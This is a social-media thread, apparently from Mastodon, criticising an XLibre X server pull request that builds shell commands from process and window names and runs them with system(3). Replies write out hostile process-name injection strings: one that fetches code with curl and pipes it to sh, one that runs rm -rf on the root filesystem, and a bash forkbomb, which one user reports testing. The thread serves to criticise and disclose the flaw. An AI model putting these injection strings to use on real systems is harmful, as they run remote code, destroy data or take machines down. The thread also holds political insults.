this is truly incredible: https://github.com/X11Libre/xserver/pull/1627/files
they are using system(3) inside a security-critical domain (the display server).
but yes, sure, my refusal of xlibre on security grounds is the problem
@ariadne
`system("which dialog > /dev/null 2>&1")`
that is just *chef's kiss*
@ariadne
breaking news: the x11 fork for chuds learning in realtime why it's useful to keep gay furries on your security team
@noisytoot system(3) should NEVER be used in a privileged security context, you can do all sorts of nasty things
ฮธฮ โ & โ
@ariadne oh my fucking god why are they doing it like that
@ariadne from what I can tell they arenโt even properly escaping the process name, so a binary named e.g. ';curl virus|sh could execute arbitrary code, but I might be misreading it
@ariadne the x server for fascists is made by idiots. making it less secure in combination of being in a time where multiple desktops are completely abandoning the X Window System in favor of wayland. absolute cinema
@ariadne Not only that, appears (from a quick glance) to pass a window title into system, I think you could pop this from a browser window requesting screen sharing?:
then
then
ฮธฮ โ & โ
@ariadne also why is it suddenly on github
@ariadne Am I reading this right? If the client controls its own process name it can write anything into 'text' which will eventually be expanded via %s in a format string which is passed to system?
โ
ฮธฮ โ & โ
@ariadne i swear it was on some alternate forge for a while
@ariadne Wait, so I just need to sneak in a binary named zenity to the front of the PATH to get it executed in an elevated security context?
@ariadne In an academic sense, how bad is this actually? Assuming that X11 is already up and running before anybody can log in (no LD_PRELOAD or ENV fuckery) and "which" is a root-owned binary.
@developing_agent there's a few different ways to exploit it
- if you can control PATH (or the binaries in the directories referenced by PATH), you can run whatever you want in an elevated context
- there is an unescaped %s format string passed directly to the dialog application, that %s is a window title
- probably other things i'm not thinking about right now
@ariadne From the geniuses who brought you โtrying to use ^ for exponentiation in Cโ
๐FOSDEM
@ariadne Yeah, the %s used to build the commands used by "system(command)" is definitely unsafe.
I'm having a hard time thinking how the constant string calls could be exploited though. (PATH should already be inherited from when X was started?)
I 100% expect there's someone with more knowledge of the deep magic that could exploit them, being as they're dragging in so much external state, but I dunno how.
@ariadne wow there's so many issues with that commit I don't even know where to start.
@ariadne Oh come on, *everything* needs to have a permission system built into it. It's for the children. And then I can take credit for it and brag about it.
@barometz The "security-feature" is just *chef's kiss*
I was actually thinking that, if the user is not legitimately using zenity, getting a binary named zenity _anywhere_ in the PATH is sufficient to pop the box since it's checked first.
That's putting aside a process that names itself something like "'; rm -rf --no-preserve-root /; echo"
@ariadne they should fully spell out "/usr/bin/which". Bam, fixed it.
@feld @Dio9sys @erikarn @ariadne There's at least one place where they're building commands using sprintf, with what at a cursory glance looks like "user-provided data", then simply call system(command) (line 660 in file shm.c, I suspect that client_name is under attacker control).
So, not guaranteed to be exploitable, but...
@developing_agent @e_nomem @barometz the real problem isn't the which stuff, it is the system(command) later that was generated using sprintf()
@developing_agent Admittedly a load-bearing 'just' in my comment above. It's not necessarily easy to do for a malicious actor.
@ariadne and they copy-pasted identical code 3 times...?!???? ๐
@ariadne system(), the gift that keeps on giving.
But the whole patch looks very wtf.
@ariadne The author's primary motivation seems to be bragging about it ๐ https://github.com/X11Libre/xserver/pull/1627#discussion_r2609127512
@ariadne ngl I'd straight up forgotten that system(3) even existed since using it is such a bad idea
@ariadne
Holy shit I thought that was eradicated like almost 30 years ago.
For the love of God, Montressor!
@ariadne would guess that even CoPilot would not write this kind of stuff. But you never knowโฆ the real surprise is that this made it into a commit at all, was everybody sleeping?
man 3 system@ariadne @Dio9sys that's pretty neat looking.
Thing is, the SGI hardware i'm hacking on doesn't even expose a linear framebuffer. It ranges from "you get to blit things into the framebuffer, but you need to use DMA/PIO to read/write regions if you're not doing shapes" to "oh yeah i have a framebuffer but it's in like 32x32 or 64x64 tiles.
I'm filling in the missing ye olde acceleration stuff for the newport graphics x11 acceleration. It's tedious, but fun. No linear framebuffer.
@ariadne i feel like there's no good way to do what they're doing without the xserver drawing the prompt itself, or some sort of tight coupling with the wm/xcompositor
@ariadne which is what the portal->compositor<->pipewire dance is doing, and that's window system independent... what a joke
@noisytoot any pointers? We had some in a service called qcmap which should be fixed. Is this what you are refereing to? @ariadne
@ariadne uuughhhhh! also, "which" isnt posix, you should use "command -v"
@haematophage @Dio9sys @ariadne@treehouse.systems
xenocara
@noisytoot thanks! Some of their modules do use Qualcomm chips, but I guess this is not one of those. @ariadne
@andreaskem @ariadne
That's the more harmless part - a bit further down it's way more fun, there commands for zenity etc are built with `snprintf()` and string (%s) arguments like `client_name` or `window_name` - and also run with `system()`
@gorplop so you think that this code will be okay when it encounters a process named " && (){ :|:&; }; :& ? why do you think that? just wondering.
@gorplop and if you think that is not possible, you may want to read about setprocname(3) and setproctitle(3).
@gorplop an open PR which metux has reviewed but not rejected. the point is that there is not acceptable quality control in Xlibre given the privileged nature of display servers.
@gorplop as this is a process and leadership problem, there are hundreds more which have been merged. many of which have been unmerged in upstream.
@noisytoot this is pretty typical vendor-grade code sadly, I've literally seen system("echo blah") to write output even.
there are quite a few reactionaries in my comments, some of which have been defederated in their entirety.
for the others:
1. although the system("which ...") use is silly, that isn't the problem here.
2. what do you think will happen when the code in this PR encounters a process named `" && :() { : | : & }; :&`? will it safely handle such a process name? before saying "that's impossible" please read setprocname(3), setproctitle(3), or in the case of Linux, understand that argv[0] is mutable.
3. yes, it is an open PR. it is also reflective of the code quality of many other PRs which have been merged to Xlibre already. how do you think that impacts its security record?
@ariadne what the actual fuck did i just read
@ariadne โOh yeah? You enjoy security? You know what?โ deletes your security 
sure, my refusal of xlibre on security grounds is the problem
Even if there werenโt security problems, it should still be refused
and yes, sometimes i post these things as bait to find out if we are missing alt-right reactionary servers that we need to defederate. it's like vaccines but for social media โค๏ธ
by the way, the ":() { : | : & }; :&" part earlier? that's a forkbomb. don't run it unless you want to deal with the consequences of running a forkbomb (in most cases, hard rebooting).
๐FOSDEM
@lanodan if you ctrl-c immediately and then kill all shells, it should recover :)))
๐FOSDEM
@haematophage @Dio9sys
TLDR: X11 forks are going to run into problems,
Problem is, X11 as protocol has problems, which can't be (neatly) resolved without creating X12 which would need a compatibility layer for X11.
At this point developers decided to not carry the burden and started over.
Not to mention the Xorg code base and quirks. You can test developers on that. I would doubt devs not swearing like a sailor within minutes.
@ariadne Why is the X11 server a security boundary on your setup
Anything that has X11 access should be assumed to have at least the same privs as the user running the X11 server (which is hopefully just the regular user that owns the session)
NaziXorg X11Libre has a whole lot of other shit to laugh at it for
@ity so this code will be fine if it encounters a process named `(){ :|:& }; :&`?
@ariadne I don't see how that's relevant to what I said
@ariadne Wait, they taste good? Why did nobody tell me afore?
๐จ๐ฆ
@ariadne I won a bet with a professor in university using this. He said there was no way my regular user account could bring down the system.
That code, to pop up a "security alert". Irony is dead.
@haematophage @Dio9sys
Colour format in X11 is 32bit (rgb+alpha, each 8bit). HDR won't work without redefining the colour format. 40bit with 10bit for each channel or 10bit rgb, 2bit alpha (wtf?!, but this was floated for XLibre)
Isolating applications, it's part of Wayland, but not part of X11 and Xorg. Xlibre introduced a namespace extension, providing optional security if this extension is used.
"Optional security" most of the time is equal to "no security, but warm feelings".. Just don't!
@ity at any rate, it is a security boundary because it mediates access to data between processes. they have also added their own extension to further mediate access to data between process. this extension is, like the X Security extension before it, comically bad.
also: please understand security fundamentals beyond that of simple UNIX user accounts
@ariadne I would say defining security boundary as "mediates IPC" is not really gonna match how most entities see it. It might match what X11Libre thinks, but def not what X.org thinks, and you are gonna have a really bad time expecting X.org Server to fulfill any expectations one would have of a security boundary.
As for "security fundamentals beyond Unix accounts", I don't see where A, you are getting from that I don't, and B, what do you mean to say.
Instead of assuming what I do or do not know, just state what you actually mean to say.
๐FOSDEM
@ity @ariadne Yeah, & keeps it to the session leader, but you'd need a session leader which sends a SIGTERM/SIGKILL to it's process group before exiting, and I don't think any terminal emulator does that.
At least sending the kill to a process group would be more effective against a forkbomb than killall(1), but also more damaging. (But of course better than ultimately hard-rebooting)
@lanodan @ariadne It has been a while since I worked on term-ems and shells
I would assume that while it doesn't SIGKILL, it ends up with the child dying, and iirc the term-em is the session leader, or the main interactive shell instance, both of which should end up dying
But atp I should just go read what *sh, some random term-em, and the kernel do, because I'm atm pulling it outta my ass as I forgot x3
@haematophage @Dio9sys
A) "It's not part of my use case and I doubt, that this interests a lot of people" is not how one should design a protocol.
On the other hand, proper screen and HDR videos is just nice and works with wayland without having "professional" needs.
B) What?
@ariadne See also
https://github.com/OpenRC/openrc/pull/790
and
my personal favorite: https://github.com/ggml-org/llama.cpp/pull/17646
@ariadne You're not like surprised by this I hope. 90% of Nazis are incompetent And Xlibre didn't get any of the actually dangerous ones
@haematophage @Dio9sys Really, I can't follow you.
CSD should work with wayland?! SSD is WIP (https://wayland.app/protocols/xdg-decoration-unstable-v1)
Framing properly defined data flows as "taking away". I just can't..
Just tried it here (ghostty in GNOME).
Noticeably slowed down the system. After a while it ran out of pids and the bashes started spewing error messages, and I could no longer open new terminals.
Closed the terminal tab and after a few seconds the user manager killed the rest of the cgroup, resolving the forkbomb. It ended up starting about 500000 processes before it got killed.
Ptyxis and GNOME Terminal behaved similarly.
So I believe the reasons this was that the system manager limited my user to 73487 pids, and the user manager limited the terminal to 33403 pids. In the case of Ptyxis and GNOME Terminal, the tabs use separate scopes and each has the limit. ghostty uses custom sub-cgroups sharing the terminal's limit.
If I wasn't using a desktop environment that starts apps as user services, I think I still could have logged in as root and killed the forkbomb manually.
@aismallard i am increasingly feeling that sticking to x11 is fash-coded
@leo literally reactionary (clinging to a false past that never really existed)
@leo Speaking of which I need to stop being lazy and switch to wayland. I have some things set up but I just have been super putting it off
@ariadne I think the bigger issue is the fact that, if I understand correctly, none of these labels are translatable
@TheEvilSkeleton i mean, accessibility seems important in a vista UAC-like feature, yes
@ariadne or replace the hardware. A student ran a forkbomb. The PC got hot and ran for a weekend with all fans at max. Week after: fan error. The fan controller, hard soldered to the main board, was faulty.
@ariadne To be fair, that's just a PR and hasn't been merged... But since the author is listed as a previous contributor, that's not inspiring confidence? :S
Also, to their credit, they added whitelist-based string sanitisation! For printing into their char text[1024]โC code like it's 1990 ๐ค
Looks also like two of the maintainers have said "no" to the PR.
@ariadne btw isn't this the guy also "maintaining" WinRing0? THAT actually spooks the living heck out of me.
@ariadne @gorplop I mean, the dude probably just skimmed through the PR and left only _one comment_, not a proper approval/rejection.
Anyone can put up PRs as bad as this one on other projects, but nobody goes running around saying stuff like "oh systemd has this open PR, this project is awful!". I get Xlibre is a meme but I'd rather look at merged code.
@lanodan @ariadne it can be made survivable in terminals which do a cgroup per shell โ e.g. libvte in a systemd environment sets a tasks.max on each cgroup (capping it to like 10% or 33% of the system's global maximum from what I remember), so the rest of the system will stutter but keep more-or-less running.
(yes I have tried it, a while ago; did not try closing the window, but was able to 'systemctl --user kill' the whole tab from another tab.)
IIRC ghostty also has support for cgroups (also relying on systemd's API)... otherwise .profile could migrate self on shell startup, if something like openrc at least creates a per-user cgroup with unprivileged write access.
(in theory the terminal could also use the cgroup interfaces to either freeze or sigkill the entire cgroup at once without looping over pids/pgrps, but I don't think any terminal does that yet.)
@ariadne my friend has a tattoo of this which i think is kinda cool
@ariadne Setting aside the obvious security problems, would this even work?
It essentially has the X server block waiting for an X client to run and exit. And some of the prompt programs it might run appear to be ncurses text mode clients. Where are they going to display to?